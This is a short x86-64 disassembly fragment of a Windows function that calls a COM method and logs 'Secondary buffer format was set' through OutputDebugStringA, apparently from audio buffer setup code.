mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x28]
lea r8, [0x14009a1e0]
xor r9d, r9d
call qword [rax + 0x18]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jl 0x140007e56
lea rcx, str.Secondary_buffer_format_was_set._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
nop
add rsp, 0xc8
ret